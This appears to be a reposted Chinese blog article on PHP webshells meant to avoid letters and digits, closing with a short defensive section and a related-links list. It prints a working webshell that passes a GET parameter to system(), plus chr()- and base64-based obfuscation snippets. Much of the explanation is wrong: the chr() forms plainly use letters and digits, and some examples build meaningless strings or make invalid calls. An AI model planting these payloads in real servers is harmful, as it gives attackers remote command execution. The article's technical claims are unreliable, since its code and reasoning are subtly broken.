当前位置: 首页 > article >正文

无字母数字webshell的命令执行

在Web安全领域,WebShell是一种常见的攻击手段,通过它攻击者可以远程执行服务器上的命令,获取敏感信息或控制系统。而无字母数字WebShell则是其中一种特殊形式,通过避免使用字母和数字字符,来绕过某些安全机制的检测。

一、无字母数字WebShell的基本原理

无字母数字WebShell利用了PHP等脚本语言的灵活性,通过将字符转换函数(如 chr())、字符串连接符(如 .),或其他字符操作方法来构建出命令,进而避免直接使用字母和数字。

例如,通常的WebShell可能包含类似如下的代码:

<?php echo system($_GET['cmd']); ?>

而无字母数字WebShell则会通过一些字符操作,将上述代码进行转换。例如,可以通过 chr()函数将每个字母的ASCII值转换为字符:

<?php echo system(chr(99).chr(109).chr(100)); ?>

这段代码中,chr(99)表示字符 cchr(109)表示字符 mchr(100)表示字符 d,最终构成 cmd命令。

二、实现无字母数字WebShell
  1. 基础命令生成
    使用 chr()函数生成命令,如生成 "ls"命令:

    $cmd = chr(108) . chr(115); // 'l' = chr(108), 's' = chr(115)
    echo system($cmd);
  2. 字符拼接与执行
    PHP中可以通过字符串拼接和函数调用的方式避免使用字母:

    $f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
    $cmd = chr(108).chr(115); 
    $f($cmd);

    这段代码通过将字符的ASCII值转为字符,拼接得到 system和 ls命令,然后调用 system执行 ls

  3. 无字母执行Shell命令
    完整的无字母数字WebShell可以通过将这些技术组合来执行任意命令。例如:

    $a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
    $b = chr(99).chr(104).chr(114);
    $c = chr(40).chr(41); // ()
    $cmd = $b.$c.chr(108).chr(115); // chr(99).chr(104).chr(114).chr(40).chr(41).'ls'
    $a($cmd);

    该代码拼接出命令 chr(ls),并利用 system函数执行。

三、规避检测的高级技巧
  1. 动态变量名
    通过动态生成的变量名进一步混淆WebShell:

    ${chr(102).chr(117).chr(110)} = 'system';
    ${chr(99).chr(104).chr(114)} = 'ls';
    ${${chr(102).chr(117).chr(110)}}(${${chr(99).chr(104).chr(114)}}());

    这种方法将变量名和函数名都通过 chr()生成,进一步规避静态检测。

  2. 编码与解码
    将命令编码为Base64等格式,并在执行前解码:

    $cmd = base64_decode('bHM='); // 'bHM=' is base64 for 'ls'
    system($cmd);

    通过Base64编码后再解码执行,增加了WebShell的隐蔽性。

四、防御措施

尽管无字母数字WebShell通过绕过传统字符的方式来执行命令,但仍有多种防御手段可以提高系统的安全性:

  1. 禁用危险函数:在PHP配置中禁用 systemexec等函数,防止命令执行。

    disable_functions = system, exec, shell_exec, passthru
    ​
    
  2. 使用WAF:部署Web应用防火墙(WAF),对请求进行深度检测和过滤,识别并阻断恶意Payload。

  3. 日志监控与分析:对Web服务器日志进行实时监控,检测异常请求或命令执行痕迹。

  4. 最小化权限:限制Web服务器用户的权限,确保即使WebShell被利用,攻击者也无法获得高权限执行命令。

五、总结

无字母数字WebShell是一种利用PHP等语言灵活特性的攻击手段,攻击者通过字符转换和编码技术绕过安全机制,执行恶意命令。然而,通过合理的防御措施,如禁用危险函数、使用WAF等,可以有效减少这种攻击带来的风险。在实践中,系统管理员应结合多种手段,提高服务器的安全性。

http://www.lryc.cn/news/2403334.html

相关文章:

  • Spring AI 项目实战(五):Spring Boot + AI + DeepSeek + Redis 实现聊天应用上下文记忆功能(附完整源码)
  • 【华为云Astro-服务编排】服务编排使用全攻略
  • 解决el-select选择框右侧下拉箭头遮挡文字问题
  • 20250603在荣品的PRO-RK3566开发板的Android13下的使用命令行来查看RK3566的温度【显示优化版本】
  • C语言字符数组初始化的5种方法(附带实例)
  • npm run dev 报错:Error: error:0308010C:digital envelope routines::unsupported
  • 模板方法模式:优雅封装不变,灵活扩展可变
  • 基于LLaMA-Factory和Easy Dataset的Qwen3微调实战:从数据准备到LoRA微调推理评估的全流程指南
  • 6.6本日总结
  • idea中 maven 本地仓库有jar包,但还是找不到,解决打包失败和无法引用的问题
  • 安全编码规范与标准:对比与分析及应用案例
  • (33)课54--??:3 张表的 join-on 连接举例,多表查询总结。
  • 集群与分布式与微服务
  • 8.axios Http网络请求库(1)
  • Python爬虫实战:研究mechanize库相关技术
  • c++算法学习5——贪心算法
  • SpringCloud学习笔记-3
  • 【时时三省】(C语言基础)局部变量和全局变量
  • An improved YOLACT algorithm for instance segmentation of stacking parts
  • 使用API网关Kong配置反向代理和负载均衡
  • BugKu Web渗透之eval
  • DAY45 可视化
  • 11.RV1126-ROCKX项目 API和人脸检测画框
  • 超构光学与 AR 的深度融合 | 攻克 VAC 与眼动范围难题
  • [ Qt ] | 与系统相关的操作(三):QFile介绍和使用
  • RetroMAE 预训练任务
  • 软件工程:如何做好软件产品
  • 蓝桥杯 省赛 2025python(B组)题目(分析)
  • React - 组件通信
  • 《前端面试题:CSS的display属性》